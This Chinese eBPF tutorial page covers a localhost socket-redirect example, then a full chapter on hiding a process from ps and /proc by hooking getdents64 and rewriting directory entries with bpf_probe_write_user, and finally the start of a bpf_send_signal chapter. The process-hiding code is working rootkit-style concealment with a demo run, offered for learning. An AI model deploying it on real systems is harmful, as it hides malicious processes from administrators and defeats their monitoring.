} sock_ops_map SEC(".maps");
这个示例程序中的 BPF 程序被分为两个部分 bpf_redirect.bpf.c 和 bpf_contrack.bpf.c。
-
bpf_contrack.bpf.c中的 BPF 代码定义了一个套接字操作(sockops)程序,它的功能主要是当本机(使用 localhost)上的任意 TCP 连接被创建时,根据这个新连接的五元组(源地址,目标地址,源端口,目标端口,协议),在sock_ops_map这个 BPF MAP 中创建一个条目。这个 BPF MAP 被定义为BPF_MAP_TYPE_SOCKHASH类型,可以存储套接字和对应的五元组。这样使得每当本地 TCP 连接被创建的时候,这个连接的五元组信息也能够在 BPF MAP 中找到。 -
bpf_redirect.bpf.c中的 BPF 代码定义了一个网络消息 (sk_msg) 处理程序,当本地套接字上有消息到达时会调用这个程序。然后这个 sk_msg 程序检查该消息是否来自本地地址,如果是,根据获取的五元组信息(源地址,目标地址,源端口,目标端口,协议)在sock_ops_map查找相应的套接字,并将该消息重定向到在sock_ops_map中找到的套接字上,这样就实现了绕过内核网络栈。
举个例子,我们假设有两个进程在本地运行,进程 A 绑定在 8000 端口上,进程 B 绑定在 9000 端口上,进程 A 向进程 B 发送消息。
-
当进程 A 首次和进程 B 建立 TCP 连接时,触发
bpf_contrack.bpf.c中的sockops程序,这个程序将五元组{127.0.0.1, 127.0.0.1, 8000, 9000, TCP}存入sock_ops_map,值为进程 A 的套接字。 -
当进程 A 发送消息时,触发
bpf_redirect.bpf.c中的sk_msg程序,然后sk_msg程序将消息从进程 A 的套接字重定向到sock_ops_map中存储的套接字(进程 A 的套接字)上,因此,消息被直接从进程 A 输送到进程 B,绕过了内核网络栈。
这个示例程序就是通过 BPF 实现了在本地通信时,快速将消息从发送者的套接字重定向到接收者的套接字,从而绕过了内核网络栈,以提高传输效率。
bpf_redirect.bpf.c
#include "bpf_sockmap.h"
char LICENSE[] SEC("license") = "Dual BSD/GPL";
SEC("sk_msg")
int bpf_redir(struct sk_msg_md *msg)
{
if(msg->remote_ip4 != LOCALHOST_IPV4 || msg->local_ip4!= LOCALHOST_IPV4)
return SK_PASS;
struct sock_key key = {
.sip = msg->remote_ip4,
.dip = msg->local_ip4,
.dport = bpf_htonl(msg->local_port), /* convert to network byte order */
.sport = msg->remote_port,
.family = msg->family,
};
return bpf_msg_redirect_hash(msg, &sock_ops_map, &key, BPF_F_INGRESS);
}
bpf_contrack.bpf.c
#include "bpf_sockmap.h"
char LICENSE[] SEC("license") = "Dual BSD/GPL";
SEC("sockops")
int bpf_sockops_handler(struct bpf_sock_ops *skops){
u32 family, op;
family = skops->family;
op = skops->op;
if (op != BPF_SOCK_OPS_PASSIVE_ESTABLISHED_CB
&& op != BPF_SOCK_OPS_ACTIVE_ESTABLISHED_CB) {
return BPF_OK;
}
if(skops->remote_ip4 != LOCALHOST_IPV4 || skops->local_ip4!= LOCALHOST_IPV4) {
return BPF_OK;
}
struct sock_key key = {
.dip = skops->remote_ip4,
.sip = skops->local_ip4,
.sport = bpf_htonl(skops->local_port), /* convert to network byte order */
.dport = skops->remote_port,
.family = skops->family,
};
bpf_printk(">>> new connection: OP:%d, PORT:%d --> %d\n", op, bpf_ntohl(key.sport), bpf_ntohl(key.dport));
bpf_sock_hash_update(skops, &sock_ops_map, &key, BPF_NOEXIST);
return BPF_OK;
}
编译 eBPF 程序
这里我们使用 libbpf 编译这个 eBPF 程序。完整的源代码和工程可以在 https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/29-sockops 中找到。关于如何安装依赖,请参考:https://eunomia.dev/tutorials/11-bootstrap/
# Compile the bpf program with libbpf
make
加载 eBPF 程序
我们编写了一个脚本来加载 eBPF 程序,它会自动加载两个 eBPF 程序并创建一个 BPF MAP:
sudo ./load.sh
这个脚本实际上完成了这些操作:
#!/bin/bash
set -x
set -e
sudo mount -t bpf bpf /sys/fs/bpf/
# check if old program already loaded
if [ -e "/sys/fs/bpf/bpf_sockops" ]; then
echo ">>> bpf_sockops already loaded, uninstalling..."
./unload.sh
echo ">>> old program already deleted..."
fi
# load and attach sock_ops program
sudo bpftool prog load bpf_contrack.bpf.o /sys/fs/bpf/bpf_sockops type sockops pinmaps /sys/fs/bpf/
sudo bpftool cgroup attach "/sys/fs/cgroup/" sock_ops pinned "/sys/fs/bpf/bpf_sockops"
# load and attach sk_msg program
sudo bpftool prog load bpf_redirect.bpf.o "/sys/fs/bpf/bpf_redir" map name sock_ops_map pinned "/sys/fs/bpf/sock_ops_map"
sudo bpftool prog attach pinned /sys/fs/bpf/bpf_redir msg_verdict pinned /sys/fs/bpf/sock_ops_map
这是一个 BPF 的加载脚本。它的主要功能是加载和附加 BPF 程序到内核系统中,并将关联的 BPF map 一并存储(pin)到 BPF 文件系统中,以便 BPF 程序能访问和操作这些 map。
让我们详细地看一下脚本的每一行是做什么的。
sudo mount -t bpf bpf /sys/fs/bpf/这一行用于挂载 BPF 文件系统,使得 BPF 程序和相关的 map 可以被系统访问和操作。- 判断条件
[ -e "/sys/fs/bpf/bpf_sockops" ]是检查是否已经存在/sys/fs/bpf/bpf_sockops文件,如果存在,则说明bpf_sockops程序已经被加载到系统中,那么将会通过./unload.sh脚本将其卸载。 sudo bpftool prog load bpf_contrack.bpf.o /sys/fs/bpf/bpf_sockops type sockops pinmaps /sys/fs/bpf/这一行是加载上文中bpf_contrack.bpf.c编译得到的 BPF 对象文件bpf_contrack.bpf.o到 BPF 文件系统中,存储至/sys/fs/bpf/bpf_sockops,并且指定它的类型为sockops。pinmaps /sys/fs/bpf/是指定将加载的 BPF 程序相关的 map 存储在/sys/fs/bpf/下。sudo bpftool cgroup attach "/sys/fs/cgroup/" sock_ops pinned "/sys/fs/bpf/bpf_sockops"这一行是将已经加载到 BPF 文件系统的bpf_sockops程序附加到 cgroup(此路径为"/sys/fs/cgroup/")。附加后,所有属于这个 cgroup 的套接字操作都会受到bpf_sockops的影响。sudo bpftool prog load bpf_redirect.bpf.o "/sys/fs/bpf/bpf_redir" map name sock_ops_map pinned "/sys/fs/bpf/sock_ops_map"这一行是加载bpf_redirect.bpf.c编译得到的 BPF 对象文件bpf_redirect.bpf.o到 BPF 文件系统中,存储至/sys/fs/bpf/bpf_redir,并且指定它的相关 map为sock_ops_map,这个map在/sys/fs/bpf/sock_ops_map中。sudo bpftool prog attach pinned /sys/fs/bpf/bpf_redir msg_verdict pinned /sys/fs/bpf/sock_ops_map这一行是将已经加载的bpf_redir附加到sock_ops_map上,附加方式为msg_verdict,表示当该 map 对应的套接字收到消息时,将会调用bpf_redir程序处理。
综上,此脚本的主要作用就是将两个用于处理本地套接字流量的 BPF 程序分别加载到系统并附加到正确的位置,以便它们能被正确地调用,并且确保它们可以访问和操作相关的 BPF map。
您可以使用 bpftool utility 检查这两个 eBPF 程序是否已经加载。
$ sudo bpftool prog show
63: sock_ops name bpf_sockops_handler tag 275467be1d69253d gpl
loaded_at 2019-01-24T13:07:17+0200 uid 0
xlated 1232B jited 750B memlock 4096B map_ids 58
64: sk_msg name bpf_redir tag bc78074aa9dd96f4 gpl
loaded_at 2019-01-24T13:07:17+0200 uid 0
xlated 304B jited 233B memlock 4096B map_ids 58
使用 iperf3 或 curl 进行测试
运行 iperf3 服务器
iperf3 -s -p 5001
运行 iperf3 客户端
iperf3 -c 127.0.0.1 -t 10 -l 64k -p 5001
或者也可以用 Python 和 curl 进行测试:
python3 -m http.server
curl http://0.0.0.0:8000/
收集追踪
查看sock_ops追踪本地连接建立
$ ./trace_bpf_output.sh # 实际上就是 sudo cat /sys/kernel/debug/tracing/trace_pipe
iperf3-9516 [001] .... 22500.634108: 0: <<< ipv4 op = 4, port 18583 --> 4135
iperf3-9516 [001] ..s1 22500.634137: 0: <<< ipv4 op = 5, port 4135 --> 18583
iperf3-9516 [001] .... 22500.634523: 0: <<< ipv4 op = 4, port 19095 --> 4135
iperf3-9516 [001] ..s1 22500.634536: 0: <<< ipv4 op = 5, port 4135 --> 19095
当iperf3 -c建立连接后,你应该可以看到上述用于套接字建立的事件。如果你没有看到任何事件,那么 eBPF 程序可能没有正确地附加上。
此外,当sk_msg生效后,可以发现当使用 tcpdump 捕捉本地lo设备流量时,只能捕获三次握手和四次挥手流量,而iperf数据流量没有被捕获到。如果捕获到iperf数据流量,那么 eBPF 程序可能没有正确地附加上。
$ ./trace_lo_traffic.sh # tcpdump -i lo port 5001
# 三次握手
13:24:07.181804 IP localhost.46506 > localhost.5001: Flags [S], seq 620239881, win 65495, options [mss 65495,sackOK,TS val 1982813394 ecr 0,nop,wscale 7], length 0
13:24:07.181815 IP localhost.5001 > localhost.46506: Flags [S.], seq 1084484879, ack 620239882, win 65483, options [mss 65495,sackOK,TS val 1982813394 ecr 1982813394,nop,wscale 7], length 0
13:24:07.181832 IP localhost.46506 > localhost.5001: Flags [.], ack 1, win 512, options [nop,nop,TS val 1982813394 ecr 1982813394], length 0
# 四次挥手
13:24:12.475649 IP localhost.46506 > localhost.5001: Flags [F.], seq 1, ack 1, win 512, options [nop,nop,TS val 1982818688 ecr 1982813394], length 0
13:24:12.479621 IP localhost.5001 > localhost.46506: Flags [.], ack 2, win 512, options [nop,nop,TS val 1982818692 ecr 1982818688], length 0
13:24:12.481265 IP localhost.5001 > localhost.46506: Flags [F.], seq 1, ack 2, win 512, options [nop,nop,TS val 1982818694 ecr 1982818688], length 0
13:24:12.481270 IP localhost.46506 > localhost.5001: Flags [.], ack 2, win 512, options [nop,nop,TS val 1982818694 ecr 1982818694], length 0
卸载 eBPF 程序
sudo ./unload.sh
参考资料
最后,如果您对 eBPF 技术感兴趣,并希望进一步了解和实践,可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 和教程网站 https://eunomia.dev/zh/tutorials/。
原文地址:https://eunomia.dev/zh/tutorials/29-sockops/ 转载请注明出处。
eBPF 开发实践:使用 eBPF 隐藏进程或文件信息
eBPF(扩展的伯克利数据包过滤器)是 Linux 内核中的一个强大功能,可以在无需更改内核源代码或重启内核的情况下,运行、加载和更新用户定义的代码。这种功能让 eBPF 在网络和系统性能分析、数据包过滤、安全策略等方面有了广泛的应用。
在本篇教程中,我们将展示如何利用 eBPF 来隐藏进程或文件信息,这是网络安全和防御领域中一种常见的技术。
背景知识与实现机制
"进程隐藏" 能让特定的进程对操作系统的常规检测机制变得不可见。在黑客攻击或系统防御的场景中,这种技术都可能被应用。具体来说,Linux 系统中每个进程都在 /proc/ 目录下有一个以其进程 ID 命名的子文件夹,包含了该进程的各种信息。ps 命令就是通过查找这些文件夹来显示进程信息的。因此,如果我们能隐藏某个进程的 /proc/ 文件夹,就能让这个进程对 ps 命令等检测手段“隐身”。
要实现进程隐藏,关键在于操作 /proc/ 目录。在 Linux 中,getdents64 系统调用可以读取目录下的文件信息。我们可以通过挂接这个系统调用,修改它返回的结果,从而达到隐藏文件的目的。实现这个功能需要使用到 eBPF 的 bpf_probe_write_user 功能,它可以修改用户空间的内存,因此能用来修改 getdents64 返回的结果。
下面,我们会详细介绍如何在内核态和用户态编写 eBPF 程序来实现进程隐藏。
内核态 eBPF 程序实现
接下来,我们将详细介绍如何在内核态编写 eBPF 程序来实现进程隐藏。首先是 eBPF 程序的起始部分:
// SPDX-License-Identifier: BSD-3-Clause
#include "vmlinux.h"
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
#include <bpf/bpf_core_read.h>
#include "common.h"
char LICENSE[] SEC("license") = "Dual BSD/GPL";
// Ringbuffer Map to pass messages from kernel to user
struct {
__uint(type, BPF_MAP_TYPE_RINGBUF);
__uint(max_entries, 256 * 1024);
} rb SEC(".maps");
// Map to fold the dents buffer addresses
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 8192);
__type(key, size_t);
__type(value, long unsigned int);
} map_buffs SEC(".maps");
// Map used to enable searching through the
// data in a loop
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 8192);
__type(key, size_t);
__type(value, int);
} map_bytes_read SEC(".maps");
// Map with address of actual
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 8192);
__type(key, size_t);
__type(value, long unsigned int);
} map_to_patch SEC(".maps");
// Map to hold program tail calls
struct {
__uint(type, BPF_MAP_TYPE_PROG_ARRAY);
__uint(max_entries, 5);
__type(key, __u32);
__type(value, __u32);
} map_prog_array SEC(".maps");
我们首先需要理解这个 eBPF 程序的基本构成和使用到的几个重要组件。前几行引用了几个重要的头文件,如 "vmlinux.h"、"bpf_helpers.h"、"bpf_tracing.h" 和 "bpf_core_read.h"。这些文件提供了 eBPF 编程所需的基础设施和一些重要的函数或宏。
- "vmlinux.h" 是一个包含了完整的内核数据结构的头文件,是从 vmlinux 内核二进制中提取的。使用这个头文件,eBPF 程序可以访问内核的数据结构。
- "bpf_helpers.h" 头文件中定义了一系列的宏,这些宏是 eBPF 程序使用的 BPF 助手(helper)函数的封装。这些 BPF 助手函数是 eBPF 程序和内核交互的主要方式。
- "bpf_tracing.h" 是用于跟踪事件的头文件,它包含了许多宏和函数,这些都是为了简化 eBPF 程序对跟踪点(tracepoint)的操作。
- "bpf_core_read.h" 头文件提供了一组用于从内核读取数据的宏和函数。
程序中定义了一系列的 map 结构,这些 map 是 eBPF 程序中的主要数据结构,它们用于在内核态和用户态之间共享数据,或者在 eBPF 程序中存储和传递数据。
其中,"rb" 是一个 Ringbuffer 类型的 map,它用于从内核向用户态传递消息。Ringbuffer 是一种能在内核和用户态之间高效传递大量数据的数据结构。
"map_buffs" 是一个 Hash 类型的 map,它用于存储目录项(dentry)的缓冲区地址。
"map_bytes_read" 是另一个 Hash 类型的 map,它用于在数据循环中启用搜索。
"map_to_patch" 是另一个 Hash 类型的 map,存储了需要被修改的目录项(dentry)的地址。
"map_prog_array" 是一个 Prog Array 类型的 map,它用于保存程序的尾部调用。
程序中的 "target_ppid" 和 "pid_to_hide_len"、"pid_to_hide" 是几个重要的全局变量,它们分别存储了目标父进程的 PID、需要隐藏的 PID 的长度以及需要隐藏的 PID。
接下来的代码部分,程序定义了一个名为 "linux_dirent64" 的结构体,这个结构体代表一个 Linux 目录项。然后程序定义了两个函数,"handle_getdents_enter" 和 "handle_getdents_exit",这两个函数分别在 getdents64 系统调用的入口和出口被调用,用于实现对目录项的操作。
// Optional Target Parent PID
const volatile int target_ppid = 0;
// These store the string represenation
// of the PID to hide. This becomes the name
// of the folder in /proc/
const volatile int pid_to_hide_len = 0;
const volatile char pid_to_hide[MAX_PID_LEN];
// struct linux_dirent64 {
// u64 d_ino; /* 64-bit inode number */
// u64 d_off; /* 64-bit offset to next structure */
// unsigned short d_reclen; /* Size of this dirent */
// unsigned char d_type; /* File type */
// char d_name[]; /* Filename (null-terminated) */ };
// int getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);
SEC("tp/syscalls/sys_enter_getdents64")
int handle_getdents_enter(struct trace_event_raw_sys_enter *ctx)
{
size_t pid_tgid = bpf_get_current_pid_tgid();
// Check if we're a process thread of interest
// if target_ppid is 0 then we target all pids
if (target_ppid != 0) {
struct task_struct *task = (struct task_struct *)bpf_get_current_task();
int ppid = BPF_CORE_READ(task, real_parent, tgid);
if (ppid != target_ppid) {
return 0;
}
}
int pid = pid_tgid >> 32;
unsigned int fd = ctx->args[0];
unsigned int buff_count = ctx->args[2];
// Store params in map for exit function
struct linux_dirent64 *dirp = (struct linux_dirent64 *)ctx->args[1];
bpf_map_update_elem(&map_buffs, &pid_tgid, &dirp, BPF_ANY);
return 0;
}
在这部分代码中,我们可以看到 eBPF 程序的一部分具体实现,该程序负责在 getdents64 系统调用的入口处进行处理。
我们首先声明了几个全局的变量。其中 target_ppid 代表我们要关注的目标父进程的 PID。如果这个值为 0,那么我们将关注所有的进程。pid_to_hide_len 和 pid_to_hide 则分别用来存储我们要隐藏的进程的 PID 的长度和 PID 本身。这个 PID 会转化成 /proc/ 目录下的一个文件夹的名称,因此被隐藏的进程在 /proc/ 目录下将无法被看到。
接下来,我们声明了一个名为 linux_dirent64 的结构体。这个结构体代表一个 Linux 目录项,包含了一些元数据,如 inode 号、下一个目录项的偏移、当前目录项的长度、文件类型以及文件名。
然后是 getdents64 函数的原型。这个函数是 Linux 系统调用,用于读取一个目录的内容。我们的目标就是在这个函数执行的过程中,对目录项进行修改,以实现进程隐藏。
随后的部分是 eBPF 程序的具体实现。我们在 getdents64 系统调用的入口处定义了一个名为 handle_getdents_enter 的函数。这个函数首先获取了当前进程的 PID 和线程组 ID,然后检查这个进程是否是我们关注的进程。如果我们设置了 target_ppid,那么我们就只关注那些父进程的 PID 为 target_ppid 的进程。如果 target_ppid 为 0,我们就关注所有进程。
在确认了当前进程是我们关注的进程之后,我们将 getdents64 系统调用的参数保存到一个 map 中,以便在系统调用返回时使用。我们特别关注 getdents64 系统调用的第二个参数,它是一个指向 linux_dirent64 结构体的指针,代表了系统调用要读取的目录的内容。我们将这个指针以及当前的 PID 和线程组 ID 作为键值对保存到 map_buffs 这个 map 中。
至此,我们完成了 getdents64 系统调用入口处的处理。在系统调用返回时,我们将会在 handle_getdents_exit 函数中,对目录项进行修改,以实现进程隐藏。
在接下来的代码段中,我们将要实现在 getdents64 系统调用返回时的处理。我们主要的目标就是找到我们想要隐藏的进程,并且对目录项进行修改以实现隐藏。
我们首先定义了一个名为 handle_getdents_exit 的函数,它将在 getdents64 系统调用返回时被调用。
SEC("tp/syscalls/sys_exit_getdents64")
int handle_getdents_exit(struct trace_event_raw_sys_exit *ctx)
{
size_t pid_tgid = bpf_get_current_pid_tgid();
int total_bytes_read = ctx->ret;
// if bytes_read is 0, everything's been read
if (total_bytes_read <= 0) {
return 0;
}
// Check we stored the address of the buffer from the syscall entry
long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_buffs, &pid_tgid);
if (pbuff_addr == 0) {
return 0;
}
// All of this is quite complex, but basically boils down to
// Calling 'handle_getdents_exit' in a loop to iterate over the file listing
// in chunks of 200, and seeing if a folder with the name of our pid is in there.
// If we find it, use 'bpf_tail_call' to jump to handle_getdents_patch to do the actual
// patching
long unsigned int buff_addr = *pbuff_addr;
struct linux_dirent64 *dirp = 0;
int pid = pid_tgid >> 32;
short unsigned int d_reclen = 0;
char filename[MAX_PID_LEN];
unsigned int bpos = 0;
unsigned int *pBPOS = bpf_map_lookup_elem(&map_bytes_read, &pid_tgid);
if (pBPOS != 0) {
bpos = *pBPOS;
}
for (int i = 0; i < 200; i ++) {
if (bpos >= total_bytes_read) {
break;
}
dirp = (struct linux_dirent64 *)(buff_addr+bpos);
bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen);
bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp->d_name);
int j = 0;
for (j = 0; j < pid_to_hide_len; j++) {
if (filename[j] != pid_to_hide[j]) {
break;
}
}
if (j == pid_to_hide_len) {
// ***********
// We've found the folder!!!
// Jump to handle_getdents_patch so we can remove it!
// ***********
bpf_map_delete_elem(&map_bytes_read, &pid_tgid);
bpf_map_delete_elem(&map_buffs, &pid_tgid);
bpf_tail_call(ctx, &map_prog_array, PROG_02);
}
bpf_map_update_elem(&map_to_patch, &pid_tgid, &dirp, BPF_ANY);
bpos += d_reclen;
}
// If we didn't find it, but there's still more to read,
// jump back the start of this function and keep looking
if (bpos < total_bytes_read) {
bpf_map_update_elem(&map_bytes_read, &pid_tgid, &bpos, BPF_ANY);
bpf_tail_call(ctx, &map_prog_array, PROG_01);
}
bpf_map_delete_elem(&map_bytes_read, &pid_tgid);
bpf_map_delete_elem(&map_buffs, &pid_tgid);
return 0;
}
在这个函数中,我们首先获取了当前进程的 PID 和线程组 ID,然后检查系统调用是否读取到了目录的内容。如果没有读取到内容,我们就直接返回。
然后我们从 map_buffs 这个 map 中获取 getdents64 系统调用入口处保存的目录内容的地址。如果我们没有保存过这个地址,那么就没有必要进行进一步的处理。
接下来的部分有点复杂,我们用了一个循环来迭代读取目录的内容,并且检查是否有我们想要隐藏的进程的 PID。如果我们找到了,我们就用 bpf_tail_call 函数跳转到 handle_getdents_patch 函数,进行实际的隐藏操作。
SEC("tp/syscalls/sys_exit_getdents64")
int handle_getdents_patch(struct trace_event_raw_sys_exit *ctx)
{
// Only patch if we've already checked and found our pid's folder to hide
size_t pid_tgid = bpf_get_current_pid_tgid();
long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_to_patch, &pid_tgid);
if (pbuff_addr == 0) {
return 0;
}
// Unlink target, by reading in previous linux_dirent64 struct,
// and setting it's d_reclen to cover itself and our target.
// This will make the program skip over our folder.
long unsigned int buff_addr = *pbuff_addr;
struct linux_dirent64 *dirp_previous = (struct linux_dirent64 *)buff_addr;
short unsigned int d_reclen_previous = 0;
bpf_probe_read_user(&d_reclen_previous, sizeof(d_reclen_previous), &dirp_previous->d_reclen);
struct linux_dirent64 *dirp = (struct linux_dirent64 *)(buff_addr+d_reclen_previous);
short unsigned int d_reclen = 0;
bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen);
// Debug print
char filename[MAX_PID_LEN];
bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp_previous->d_name);
filename[pid_to_hide_len-1] = 0x00;
bpf_printk("[PID_HIDE] filename previous %s\n", filename);
bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp->d_name);
filename[pid_to_hide_len-1] = 0x00;
bpf_printk("[PID_HIDE] filename next one %s\n", filename);
// Attempt to overwrite
short unsigned int d_reclen_new = d_reclen_previous + d_reclen;
long ret = bpf_probe_write_user(&dirp_previous->d_reclen, &d_reclen_new, sizeof(d_reclen_new));
// Send an event
struct event *e;
e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0);
if (e) {
e->success = (ret == 0);
e->pid = (pid_tgid >> 32);
bpf_get_current_comm(&e->comm, sizeof(e->comm));
bpf_ringbuf_submit(e, 0);
}
bpf_map_delete_elem(&map_to_patch, &pid_tgid);
return 0;
}
在 handle_getdents_patch 函数中,我们首先检查我们是否已经找到了我们想要隐藏的进程的 PID。然后我们读取目录项的内容,并且修改 d_reclen 字段,让它覆盖下一个目录项,这样就可以隐藏我们的目标进程了。
在这个过程中,我们用到了 bpf_probe_read_user、bpf_probe_read_user_str、bpf_probe_write_user 这几个函数来读取和写入用户空间的数据。这是因为在内核空间,我们不能直接访问用户空间的数据,必须使用这些特殊的函数。
在我们完成隐藏操作后,我们会向一个名为 rb 的环形缓冲区发送一个事件,表示我们已经成功地隐藏了一个进程。我们用 bpf_ringbuf_reserve 函数来预留缓冲区空间,然后将事件的数据填充到这个空间,并最后用 bpf_ringbuf_submit 函数将事件提交到缓冲区。
最后,我们清理了之前保存在 map 中的数据,并返回。
这段代码是在 eBPF 环境下实现进程隐藏的一个很好的例子。通过这个例子,我们可以看到 eBPF 提供的丰富的功能,如系统调用跟踪、map 存储、用户空间数据访问、尾调用等。这些功能使得我们能够在内核空间实现复杂的逻辑,而不需要修改内核代码。
用户态 eBPF 程序实现
我们在用户态的 eBPF 程序中主要进行了以下几个操作:
- 打开 eBPF 程序。
- 设置我们想要隐藏的进程的 PID。
- 验证并加载 eBPF 程序。
- 等待并处理由 eBPF 程序发送的事件。
首先,我们打开了 eBPF 程序。这个过程是通过调用 pidhide_bpf__open 函数实现的。如果这个过程失败了,我们就直接返回。
skel = pidhide_bpf__open();
if (!skel)
{
fprintf(stderr, "Failed to open BPF program: %s\n", strerror(errno));
return 1;
}
接下来,我们设置了我们想要隐藏的进程的 PID。这个过程是通过将 PID 保存到 eBPF 程序的 rodata 区域实现的。默认情况下,我们隐藏的是当前进程。
char pid_to_hide[10];
if (env.pid_to_hide == 0)
{
env.pid_to_hide = getpid();
}
sprintf(pid_to_hide, "%d", env.pid_to_hide);
strncpy(skel->rodata->pid_to_hide, pid_to_hide, sizeof(skel->rodata->pid_to_hide));
skel->rodata->pid_to_hide_len = strlen(pid_to_hide) + 1;
skel->rodata->target_ppid = env.target_ppid;
然后,我们验证并加载 eBPF 程序。这个过程是通过调用 pidhide_bpf__load 函数实现的。如果这个过程失败了,我们就进行清理操作。
err = pidhide_bpf__load(skel);
if (err)
{
fprintf(stderr, "Failed to load and verify BPF skeleton\n");
goto cleanup;
}
最后,我们等待并处理由 eBPF 程序发送的事件。这个过程是通过调用 ring_buffer__poll 函数实现的。在这个过程中,我们每隔一段时间就检查一次环形缓冲区中是否有新的事件。如果有,我们就调用 handle_event 函数来处理这个事件。
printf("Successfully started!\n");
printf("Hiding PID %d\n", env.pid_to_hide);
while (!exiting)
{
err = ring_buffer__poll(rb, 100 /* timeout, ms */);
/* Ctrl-C will cause -EINTR */
if (err == -EINTR)
{
err = 0;
break;
}
if (err < 0)
{
printf("Error polling perf buffer: %d\n", err);
break;
}
}
handle_event 函数中,我们根据事件的内容打印了相应的消息。这个函数的参数包括一个上下文,事件的数据,以及数据的大小。我们首先将事件的数据转换为 event 结构体,然后根据 success 字段判断这个事件是否表示成功隐藏了一个进程,最后打
印相应的消息。
static int handle_event(void *ctx, void *data, size_t data_sz)
{
const struct event *e = data;
if (e->success)
printf("Hid PID from program %d (%s)\n", e->pid, e->comm);
else
printf("Failed to hide PID from program %d (%s)\n", e->pid, e->comm);
return 0;
}
这段代码展示了如何在用户态使用 eBPF 程序来实现进程隐藏的功能。我们首先打开 eBPF 程序,然后设置我们想要隐藏的进程的 PID,再验证并加载 eBPF 程序,最后等待并处理由 eBPF 程序发送的事件。这个过程中,我们使用了 eBPF 提供的一些高级功能,如环形缓冲区和事件处理,这些功能使得我们能够在用户态方便地与内核态的 eBPF 程序进行交互。
完整源代码:https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/24-hide
本文所示技术仅为概念验证,仅供学习使用,严禁用于不符合法律法规要求的场景。
编译运行,隐藏 PID
首先,我们需要编译 eBPF 程序:
make
然后,假设我们想要隐藏进程 ID 为 1534 的进程,可以运行如下命令:
sudo ./pidhide --pid-to-hide 1534
这条命令将使所有尝试读取 /proc/ 目录的操作都无法看到 PID 为 1534 的进程。例如,我们可以选择一个进程进行隐藏:
$ ps -aux | grep 1534
yunwei 1534 0.0 0.0 244540 6848 ? Ssl 6月02 0:00 /usr/libexec/gvfs-mtp-volume-monitor
yunwei 32065 0.0 0.0 17712 2580 pts/1 S+ 05:43 0:00 grep --color=auto 1534
此时通过 ps 命令可以看到进程 ID 为 1534 的进程。但是,如果我们运行 sudo ./pidhide --pid-to-hide 1534,再次运行 ps -aux | grep 1534,就会发现进程 ID 为 1534 的进程已经不见了。
$ sudo ./pidhide --pid-to-hide 1534
Hiding PID 1534
Hid PID from program 31529 (ps)
Hid PID from program 31551 (ps)
Hid PID from program 31560 (ps)
Hid PID from program 31582 (ps)
Hid PID from program 31582 (ps)
Hid PID from program 31585 (bash)
Hid PID from program 31585 (bash)
Hid PID from program 31609 (bash)
Hid PID from program 31640 (ps)
Hid PID from program 31649 (ps)
这个程序将匹配这个 pid 的进程隐藏,使得像 ps 这样的工具无法看到,我们可以通过 ps aux | grep 1534 来验证。
$ ps -aux | grep 1534
root 31523 0.1 0.0 22004 5616 pts/2 S+ 05:42 0:00 sudo ./pidhide -p 1534
root 31524 0.0 0.0 22004 812 pts/3 Ss 05:42 0:00 sudo ./pidhide -p 1534
root 31525 0.3 0.0 3808 2456 pts/3 S+ 05:42 0:00 ./pidhide -p 1534
yunwei 31583 0.0 0.0 17712 2612 pts/1 S+ 05:42 0:00 grep --color=auto 1534
总结
通过本篇 eBPF 入门实践教程,我们深入了解了如何使用 eBPF 来隐藏进程或文件信息。我们学习了如何编写和加载 eBPF 程序,如何通过 eBPF 拦截系统调用并修改它们的行为,以及如何将这些知识应用到实际的网络安全和防御工作中。此外,我们也了解了 eBPF 的强大性,尤其是它能在不需要修改内核源代码或重启内核的情况下,允许用户在内核中执行自定义代码的能力。
您还可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。
eBPF 入门实践教程:用 bpf_send_signal 发送信号终止恶意进程
eBPF (扩展的伯克利数据包过滤器) 是 Linux 内核的一种革命性技术,允许用户在内核空间执行自定义程序,而不需要修改内核源代码或加载任何内核模块。这使得开发人员可以非常灵活地对 Linux 系统进行观测、修改和控制。
本文介绍了如何使用 eBPF 的 bpf_send_signal 功能,向指定的进程发送信号进行干预。本文完整的源代码和更多的教程文档,请参考 https://github.com/eunomia-bpf/bpf-developer-tutorial
使用场景
1. 性能分析:
在现代软件生态系统中,优化应用程序的性能是开发人员和系统管理员的一个核心任务。当应用程序,如 hhvm,出现运行缓慢或资源利用率异常高时,它可能会对整个系统产生不利影响。因此,定位这些性能瓶颈并及时解决是至关重要的。
2. 异常检测与响应:
任何运行在生产环境中的系统都可能面临各种异常情况,从简单的资源泄露到复杂的恶意软件攻击。在这些情况下,系统需要能够迅速、准确地检测到这些异常,并采取适当的应对措施。
3. 动态系统管理:
随着云计算和微服务架构的普及,能够根据当前系统状态动态调整资源配置和应用行为已经成为了一个关键需求。例如,根据流量波动自动扩容或缩容,或者在检测到系统过热时降低 CPU 频率。
现有方案的不足
为了满足上述使用场景的需求,传统的技术方法如下:
- 安装一个 bpf 程序,该程序会持续监视系统,同时对一个 map 进行轮询。
- 当某个事件触发了 bpf 程序中定义的特定条件时,它会将相关数据写入此 map。
- 接着,外部分析工具会从该 map 中读取数据,并根据读取到的信息向目标进程发送信号。
尽管这种方法在很多场景中都是可行的,但它存在一个主要的缺陷:从事件发生到外部工具响应的时间延迟可能相对较大。这种延迟可能会影响到事件的响应速度,从而使得性能分析的结果不准确或者在面对恶意活动时无法及时作出反应。
新方案的优势
为了克服传统方法的这些限制,Linux 内核提供了 bpf_send_signal 和 bpf_send_signal_thread 这两个 helper 函数。
这两个函数带来的主要优势包括:
1. 实时响应:
